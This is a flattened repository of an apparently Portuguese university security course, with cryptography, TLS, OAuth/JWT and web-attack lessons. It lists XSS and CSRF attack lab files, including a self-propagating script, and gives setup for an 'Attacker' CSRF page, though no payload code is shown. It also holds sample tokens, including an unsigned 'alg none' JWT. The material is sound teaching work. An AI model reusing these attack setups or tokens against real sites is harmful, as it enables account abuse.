├── Semana 6 └── Aula 17 e 18 │ ├── TLS │ ├── cert │ │ ├── 3513523f.0 │ │ ├── 4a6481c9.0 │ │ ├── DigiCertGlobalRootCA.crt │ │ └── GlobalSignRootCA-R2.crt │ ├── modelCA and cert_server │ │ ├── demoCA │ │ │ ├── index.txt.old │ │ │ ├── serial │ │ │ ├── serial.old │ │ │ ├── index.txt.attr │ │ │ ├── index.txt │ │ │ └── newcerts │ │ │ │ └── 1000.pem │ │ ├── bank.csr │ │ ├── bank_key.pem │ │ ├── modelCA_cert.pem │ │ ├── modelCA_key.pem │ │ └── bank_cert.pem │ ├── build-TLS_Server-Desktop-Debug │ │ ├── cert │ │ │ ├── demoCA │ │ │ │ ├── index.txt.old │ │ │ │ ├── serial │ │ │ │ ├── serial.old │ │ │ │ ├── index.txt.attr │ │ │ │ ├── index.txt │ │ │ │ └── newcerts │ │ │ │ │ └── 1000.pem │ │ │ ├── bank.csr │ │ │ ├── bank32_key.pem │ │ │ ├── modelCA_cert.pem │ │ │ ├── modelCA_key.pem │ │ │ └── bank32_cert.pem │ │ ├── TLS_Server │ │ ├── tls_server.o │ │ ├── .qmake.stash │ │ └── cert_server │ │ │ ├── bank32_key.pem │ │ │ └── bank32_cert.pem │ ├── build-TLS_Client-Desktop-Debug │ │ ├── cert │ │ │ ├── 3513523f.0 │ │ │ ├── 4a6481c9.0 │ │ │ ├── DigiCertGlobalRootCA.crt │ │ │ └── GlobalSignRootCA-R2.crt │ │ ├── TLS_Client │ │ ├── tls_client.o │ │ ├── .qmake.stash │ │ └── cert_server │ │ │ ├── bank32_key.pem │ │ │ └── bank32_cert.pem │ ├── build-TLS_Client_with_callback-Desktop-Debug │ │ ├── cert │ │ │ ├── 3513523f.0 │ │ │ ├── 4a6481c9.0 │ │ │ ├── DigiCertGlobalRootCA.crt │ │ │ ├── GlobalSignRootCA-R2.crt │ │ │ └── modelCA_cert.pem │ │ ├── TLS_Client_with_callback │ │ ├── tls_client_with_callback.o │ │ ├── .qmake.stash │ │ └── cert_server │ │ │ ├── bank_key.pem │ │ │ └── Du │ │ │ ├── bank32_key.pem │ │ │ └── bank32_cert.pem │ ├── TLS_Client │ │ ├── main.c │ │ ├── TLS_Client.pro │ │ ├── tls_client.c │ │ └── tls_client_with_callback.c │ ├── TLS_Server │ │ ├── TLS_Server.pro │ │ └── tls_server.c │ ├── TLS_Client_with_callback │ │ ├── TLS_Client_with_callback.pro │ │ └── tls_client_with_callback.c │ ├── cert_server │ │ ├── bank32_key.pem │ │ └── bank32_cert.pem │ └── Password and Execution Steps.txt │ ├── TLS.pdf │ └── 07.SSL_TLS.pdf ├── Semana 5 └── Aula 13 │ ├── build-TLS_Client-Desktop-Debug │ ├── cert │ │ ├── 3513523f.0 │ │ ├── 4a6481c9.0 │ │ ├── DigiCertGlobalRootCA.crt │ │ └── GlobalSignRootCA-R2.crt │ ├── TLS_Client │ ├── tls_client.o │ ├── .qmake.stash │ └── cert_server │ │ ├── bank32_key.pem │ │ └── bank32_cert.pem │ ├── TLS.pdf │ ├── TLS_Client_with_callback │ ├── TLS_Client_with_callback.pro │ └── tls_client_with_callback.c │ └── Qt Creator C language IDE.txt ├── Semana 14 ├── Aula 40 e 41 │ ├── README.txt │ ├── 11_Web_XSS.pdf │ ├── 10_Web_CSRF.pdf │ ├── 12_Web_SQL_Injection.pdf │ ├── Web_XSS │ │ ├── add_friend.js │ │ ├── edit_profile.js │ │ └── self_propagating.js │ └── CSRF_Attack │ │ └── index.html └── Aula 39 │ ├── 10_Web_CSRF.pdf │ └── Heap_buffer_overflow.pdf ├── Semana 4 ├── Aula 10 │ ├── PKI.pdf │ ├── Certificates-openssl.txt │ ├── VeriSignRootG5.pem │ ├── paypal-single.pem │ └── intermediate-ca-chain.pem └── Aula 11 e 12 │ ├── 04.Jca.pdf │ ├── 05.Certificados.pdf │ ├── 03.cifra-simetrica.pdf │ └── 06.Java.cert.path.pdf ├── Semana 3 ├── Aula 7 │ ├── GCM_Mode.pdf │ └── 02.esquemas.pdf └── Aula 8 e 9 │ ├── Public_Key_Encryption.pdf │ └── DigitalSignature.java ├── Semana 1 ├── Aula 2 e 3 │ ├── ciphered.txt │ ├── Enigma_Machine.pdf │ ├── Man_In_the_Middle.pdf │ ├── openssl.txt │ ├── infile.txt │ └── infile1.txt └── Aula 1 │ ├── 01.apresentacao.pdf │ ├── 1_Monoalphabetic_Substitution_Cipher.pdf │ └── Substitution Cipher Example - frequency analysis │ ├── key.txt │ └── ciphertext.txt ├── Semana 10 └── Aula 28 │ ├── JWT_Claims.pdf │ └── IDToken_claims.pdf ├── Semana 2 ├── Aula 4 │ ├── 02.esquemas.pdf │ ├── One_Way_Hash.pdf │ ├── Linux_openssl.txt │ ├── infile.txt │ └── infile_changed.txt └── Aula 5 e 6 │ └── Secret_Key_Encryption_OperationModes.pdf ├── Semana 9 └── Aula 26 e 27 │ ├── OAuth2 │ └── ex-1 │ │ ├── database.nosql │ │ ├── package.json │ │ ├── files │ │ ├── client │ │ │ ├── error.html │ │ │ ├── data.html │ │ │ └── index.html │ │ ├── authorizationServer │ │ │ ├── error.html │ │ │ ├── index.html │ │ │ └── approve.html │ │ └── protectedResource │ │ │ └── index.html │ │ ├── protectedResource.js │ │ └── README_CommandLine.txt │ └── httpserver.js ├── README.md ├── Semana 13 └── Aula 37 e 38 │ ├── Buffer_Overflow.zip │ └── 04_Buffer_Overflow.pdf ├── Semana 8 ├── Aula 22 │ └── HashPasswordsAndSalt.pdf └── Aula 23 e 24 │ └── telnet.txt ├── Semana 7 └── Aula 19 │ ├── Public_Key_Encryption_DiffieHelman.pdf │ ├── TLS & Perfect Forward Secrecy _ Vincent Bernat.pdf │ └── SSLClientDemo.java └── Semana 11 └── Aula 31 ├── ex-2-OAuth-JWT ├── database.nosql ├── package.json ├── files │ ├── client │ │ ├── error.html │ │ ├── data.html │ │ └── index.html │ ├── authorizationServer │ │ ├── error.html │ │ ├── index.html │ │ └── approve.html │ └── protectedResource │ │ └── index.html └── protectedResource.js └── OpenID-Connect ├── commandLine.txt └── relying-party-demo.js /Semana 6/Aula 17 e 18/TLS/cert/3513523f.0: -------------------------------------------------------------------------------- 1 | DigiCertGlobalRootCA.crt -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/cert/4a6481c9.0: -------------------------------------------------------------------------------- 1 | GlobalSignRootCA-R2.crt -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/demoCA/index.txt.old: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/demoCA/serial: -------------------------------------------------------------------------------- 1 | 1001 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/demoCA/serial.old: -------------------------------------------------------------------------------- 1 | 1000 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/demoCA/index.txt.old: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/cert/3513523f.0: -------------------------------------------------------------------------------- 1 | DigiCertGlobalRootCA.crt -------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/cert/4a6481c9.0: -------------------------------------------------------------------------------- 1 | GlobalSignRootCA-R2.crt -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/demoCA/serial: -------------------------------------------------------------------------------- 1 | 1001 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/demoCA/serial.old: -------------------------------------------------------------------------------- 1 | 1000 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/cert/3513523f.0: -------------------------------------------------------------------------------- 1 | DigiCertGlobalRootCA.crt -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/cert/4a6481c9.0: -------------------------------------------------------------------------------- 1 | GlobalSignRootCA-R2.crt -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/demoCA/index.txt.attr: -------------------------------------------------------------------------------- 1 | unique_subject = yes 2 | -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/README.txt: -------------------------------------------------------------------------------- 1 | Put index.html in VirtualHost Apache directory: /var/www/CSRF/Attacker 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/demoCA/index.txt.attr: -------------------------------------------------------------------------------- 1 | unique_subject = yes 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/cert/3513523f.0: -------------------------------------------------------------------------------- 1 | DigiCertGlobalRootCA.crt -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/cert/4a6481c9.0: -------------------------------------------------------------------------------- 1 | GlobalSignRootCA-R2.crt -------------------------------------------------------------------------------- /Semana 4/Aula 10/PKI.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 4/Aula 10/PKI.pdf -------------------------------------------------------------------------------- /Semana 5/Aula 13/TLS.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 5/Aula 13/TLS.pdf -------------------------------------------------------------------------------- /Semana 3/Aula 7/GCM_Mode.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 3/Aula 7/GCM_Mode.pdf -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS.pdf -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/demoCA/index.txt: -------------------------------------------------------------------------------- 1 | V 201007011820Z 1000 unknown /C=US/ST=New York/O=Bank/CN=bank32.com 2 | -------------------------------------------------------------------------------- /Semana 1/Aula 2 e 3/ciphered.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 1/Aula 2 e 3/ciphered.txt -------------------------------------------------------------------------------- /Semana 10/Aula 28/JWT_Claims.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 10/Aula 28/JWT_Claims.pdf -------------------------------------------------------------------------------- /Semana 2/Aula 4/02.esquemas.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 2/Aula 4/02.esquemas.pdf -------------------------------------------------------------------------------- /Semana 2/Aula 4/One_Way_Hash.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 2/Aula 4/One_Way_Hash.pdf -------------------------------------------------------------------------------- /Semana 3/Aula 7/02.esquemas.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 3/Aula 7/02.esquemas.pdf -------------------------------------------------------------------------------- /Semana 4/Aula 11 e 12/04.Jca.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 4/Aula 11 e 12/04.Jca.pdf -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/database.nosql: -------------------------------------------------------------------------------- 1 | {"access_token":"lX8RpON7t4z6u4EEVDkIYAmK9dpsBgLO","client_id":"oauth-client-1","scope":""} 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # isel-leic-si-1920inv-LI52D-LEIRT51D 2 | Recursos das aulas de Segurança Informática - Semestre de Inverno 2019/20 - Turma LI52D-LEIRT51D 3 | -------------------------------------------------------------------------------- /Semana 1/Aula 1/01.apresentacao.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 1/Aula 1/01.apresentacao.pdf -------------------------------------------------------------------------------- /Semana 14/Aula 39/10_Web_CSRF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 14/Aula 39/10_Web_CSRF.pdf -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Client/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | printf("Hello World!\n"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/demoCA/index.txt: -------------------------------------------------------------------------------- 1 | V 201007011820Z 1000 unknown /C=US/ST=New York/O=Bank/CN=bank32.com 2 | -------------------------------------------------------------------------------- /Semana 10/Aula 28/IDToken_claims.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 10/Aula 28/IDToken_claims.pdf -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/11_Web_XSS.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 14/Aula 40 e 41/11_Web_XSS.pdf -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/07.SSL_TLS.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/07.SSL_TLS.pdf -------------------------------------------------------------------------------- /Semana 1/Aula 2 e 3/Enigma_Machine.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 1/Aula 2 e 3/Enigma_Machine.pdf -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/10_Web_CSRF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 14/Aula 40 e 41/10_Web_CSRF.pdf -------------------------------------------------------------------------------- /Semana 1/Aula 2 e 3/Man_In_the_Middle.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 1/Aula 2 e 3/Man_In_the_Middle.pdf -------------------------------------------------------------------------------- /Semana 13/Aula 37 e 38/Buffer_Overflow.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 13/Aula 37 e 38/Buffer_Overflow.zip -------------------------------------------------------------------------------- /Semana 14/Aula 39/Heap_buffer_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 14/Aula 39/Heap_buffer_overflow.pdf -------------------------------------------------------------------------------- /Semana 4/Aula 11 e 12/05.Certificados.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 4/Aula 11 e 12/05.Certificados.pdf -------------------------------------------------------------------------------- /Semana 8/Aula 22/HashPasswordsAndSalt.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 8/Aula 22/HashPasswordsAndSalt.pdf -------------------------------------------------------------------------------- /Semana 13/Aula 37 e 38/04_Buffer_Overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 13/Aula 37 e 38/04_Buffer_Overflow.pdf -------------------------------------------------------------------------------- /Semana 3/Aula 8 e 9/Public_Key_Encryption.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 3/Aula 8 e 9/Public_Key_Encryption.pdf -------------------------------------------------------------------------------- /Semana 4/Aula 11 e 12/03.cifra-simetrica.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 4/Aula 11 e 12/03.cifra-simetrica.pdf -------------------------------------------------------------------------------- /Semana 4/Aula 11 e 12/06.Java.cert.path.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 4/Aula 11 e 12/06.Java.cert.path.pdf -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/12_Web_SQL_Injection.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 14/Aula 40 e 41/12_Web_SQL_Injection.pdf -------------------------------------------------------------------------------- /Semana 7/Aula 19/Public_Key_Encryption_DiffieHelman.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 7/Aula 19/Public_Key_Encryption_DiffieHelman.pdf -------------------------------------------------------------------------------- /Semana 1/Aula 1/1_Monoalphabetic_Substitution_Cipher.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 1/Aula 1/1_Monoalphabetic_Substitution_Cipher.pdf -------------------------------------------------------------------------------- /Semana 2/Aula 5 e 6/Secret_Key_Encryption_OperationModes.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 2/Aula 5 e 6/Secret_Key_Encryption_OperationModes.pdf -------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/TLS_Client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/TLS_Client -------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/tls_client.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/tls_client.o -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/TLS_Client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/TLS_Client -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/TLS_Server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/TLS_Server -------------------------------------------------------------------------------- /Semana 7/Aula 19/TLS & Perfect Forward Secrecy _ Vincent Bernat.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 7/Aula 19/TLS & Perfect Forward Secrecy _ Vincent Bernat.pdf -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/tls_client.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/tls_client.o -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/tls_server.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/tls_server.o -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Client/TLS_Client.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | CONFIG += console 3 | CONFIG -= app_bundle 4 | CONFIG -= qt 5 | 6 | SOURCES += \ 7 | tls_client.c 8 | 9 | unix|win32: LIBS += -lssl 10 | 11 | unix|win32: LIBS += -lcrypto 12 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Server/TLS_Server.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | CONFIG += console 3 | CONFIG -= app_bundle 4 | CONFIG -= qt 5 | 6 | SOURCES += \ 7 | tls_server.c 8 | 9 | unix|win32: LIBS += -lssl 10 | 11 | unix|win32: LIBS += -lcrypto 12 | -------------------------------------------------------------------------------- /Semana 1/Aula 2 e 3/openssl.txt: -------------------------------------------------------------------------------- 1 | # Encrypt 2 | openssl enc -e -des -in infile.txt -out ciphered.txt -k si 3 | 4 | # Decrypt 5 | openssl enc -d -des -in ciphered.txt -out infile1.txt -k si 6 | 7 | 8 | # Compute HMAC 9 | openssl dgst -sha1 -hmac si infile.txt 10 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/TLS_Client_with_callback: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/TLS_Client_with_callback -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/tls_client_with_callback.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nleite-isel/isel-leic-si-1920inv-LI52D-LEIRT51D/HEAD/Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/tls_client_with_callback.o -------------------------------------------------------------------------------- /Semana 1/Aula 1/Substitution Cipher Example - frequency analysis/key.txt: -------------------------------------------------------------------------------- 1 | 2 | Ciphertext: v g a p n b r t m o s i c u x e j h q y z f l k d w 3 | ----------------------------------------------------------------- 4 | Plaintext: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 5 | -------------------------------------------------------------------------------- /Semana 5/Aula 13/TLS_Client_with_callback/TLS_Client_with_callback.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | CONFIG += console 3 | CONFIG -= app_bundle 4 | CONFIG -= qt 5 | 6 | SOURCES += \ 7 | tls_client_with_callback.c 8 | 9 | unix|win32: LIBS += -lssl 10 | 11 | unix|win32: LIBS += -lcrypto 12 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/database.nosql: -------------------------------------------------------------------------------- 1 | {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjkwMDEvIiwiYXVkIjoiaHR0cDovL2xvY2FsaG9zdDo5MDAyLyIsImlhdCI6MTU3MzUxNjA4MSwiZXhwIjoxNTczNTE2MzgxLCJqdGkiOiJNalluWUFuNyJ9.","client_id":"oauth-client-1","scope":""} 2 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Client_with_callback/TLS_Client_with_callback.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | CONFIG += console 3 | CONFIG -= app_bundle 4 | CONFIG -= qt 5 | 6 | SOURCES += \ 7 | tls_client_with_callback.c 8 | 9 | unix|win32: LIBS += -lssl 10 | 11 | unix|win32: LIBS += -lcrypto 12 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "express": "^4.13.1", 4 | "sync-request": "^2.0.1", 5 | "body-parser": "^1.13.2", 6 | "underscore": "^1.8.3", 7 | "underscore.string": "^3.1.1", 8 | "consolidate": "^0.13.1", 9 | "qs": "^4.0.0", 10 | "randomstring": "^1.0.7", 11 | "nosql": "^3.0.3", 12 | "cors": "^2.7.1" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "express": "^4.13.1", 4 | "sync-request": "^2.0.1", 5 | "body-parser": "^1.13.2", 6 | "underscore": "^1.8.3", 7 | "underscore.string": "^3.1.1", 8 | "consolidate": "^0.13.1", 9 | "qs": "^4.0.0", 10 | "randomstring": "^1.0.7", 11 | "nosql": "^3.0.3", 12 | "cors": "^2.7.1" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Semana 2/Aula 4/Linux_openssl.txt: -------------------------------------------------------------------------------- 1 | # Linux cryptographic hash functions 2 | 3 | md5sum infile.txt 4 | 5 | sha256sum infile.txt 6 | 7 | # Detect changes - hash should be different 8 | sha256sum infile_changed.txt 9 | 10 | # OpenSSL 11 | openssl dgst -sha256 infile.txt 12 | 13 | openssl sha256 infile.txt 14 | 15 | openssl dgst -md5 infile.txt 16 | 17 | openssl md5 infile.txt 18 | -------------------------------------------------------------------------------- /Semana 8/Aula 23 e 24/telnet.txt: -------------------------------------------------------------------------------- 1 | $ telnet www.isel.pt 80 2 | Trying 192.68.221.35... 3 | Connected to www.isel.pt. 4 | Escape character is '^]'. 5 | GET / HTTP/1.1 6 | host:www.isel.pt 7 | 8 | HTTP/1.1 303 See Other 9 | Content-Type: text/html; charset=UTF-8 10 | Location: https://www.isel.pt/ 11 | Server: Microsoft-IIS/8.5 12 | Date: Tue, 29 Oct 2019 17:20:40 GMT 13 | Content-Length: 143 14 | 15 | Document Moved 16 |

Object Moved

This document may be found here 17 | -------------------------------------------------------------------------------- /Semana 1/Aula 1/Substitution Cipher Example - frequency analysis/ciphertext.txt: -------------------------------------------------------------------------------- 1 | ytn numrcv cvatmunq lnhn v qnhmnq xb ninayhxcnatvumavi hxyxh ametnh 2 | cvatmunq pnfnixenp vup zqnp mu ytn nvhid yx cmpyt anuyzhd yx 3 | ehxynay axccnhamvi pmeixcvyma vup cmimyvhd axcczumavymxu numrcv lvq 4 | mufnuynp gd ytn rnhcvu nurmunnh vhytzh qatnhgmzq vy ytn nup xb 5 | lxhip lvh m nvhid cxpniq lnhn zqnp axccnhamviid bhxc ytn nvhid q 6 | vup vpxeynp gd cmimyvhd vup rxfnhucnuy qnhfmanq xb qnfnhvi 7 | axzuyhmnq cxqy uxyvgid uvwm rnhcvud gnbxhn vup pzhmur lxhip lvh mm 8 | qnfnhvi pmbbnhnuy numrcv cxpniq lnhn ehxpzanp gzy ytn rnhcvu 9 | cmimyvhd cxpniq tvfmur v eizrgxvhp lnhn ytn cxqy axceink ovevunqn 10 | vup myvimvu cxpniq lnhn viqx mu zqn ... 11 | 12 | -------------------------------------------------------------------------------- /Semana 7/Aula 19/SSLClientDemo.java: -------------------------------------------------------------------------------- 1 | import javax.net.ssl.SSLSocket; 2 | import javax.net.ssl.SSLSocketFactory; 3 | import java.io.IOException; 4 | 5 | public class SSLClientDemo { 6 | public static void main(String[] args) throws IOException { 7 | // fábrica de sockets com raizes de confiança da plataforma Java 8 | SSLSocketFactory factory = (SSLSocketFactory) SSLSocketFactory.getDefault(); 9 | 10 | // socket SSL de cliente 11 | SSLSocket socket = (SSLSocket) factory.createSocket("www.isel.pt", 443); 12 | 13 | // Mostrar certificado do servidor 14 | System.out.println(socket.getSession().getPeerCertificates()[0]); 15 | 16 | // mostrar esquemas criptográficos acordados 17 | System.out.println(socket.getSession().getCipherSuite()); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Semana 14/Aula 40 e 41/Web_XSS/add_friend.js: -------------------------------------------------------------------------------- 1 | 22 | -------------------------------------------------------------------------------- /Semana 5/Aula 13/Qt Creator C language IDE.txt: -------------------------------------------------------------------------------- 1 | # Open Ubuntu VM 2 | 3 | # Install Qt Creator C/C++ language IDE 4 | 5 | # Create New Project, File - New File or Project, Non-Qt Project, 6 | # Plain C Application, Build type: qmake 7 | 8 | # Copy tls_client_with_callback.c to Source Dir 9 | 10 | # Install OpenSSL lib: libcrypto e libssl 11 | 12 | # On Command line run: 13 | $ whereis libssl 14 | libssl: /usr/lib/x86_64-linux-gnu/libssl.a /usr/lib/x86_64-linux-gnu/libssl3.so /usr/lib/x86_64-linux-gnu/libssl.so 15 | $ whereis libcrypto 16 | libcrypto: /usr/lib/x86_64-linux-gnu/libcrypto.so /usr/lib/x86_64-linux-gnu/libcrypto.a 17 | 18 | # Add Library, libssl and then libcrypto from above paths 19 | 20 | # The TLS client show compile successfully now 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 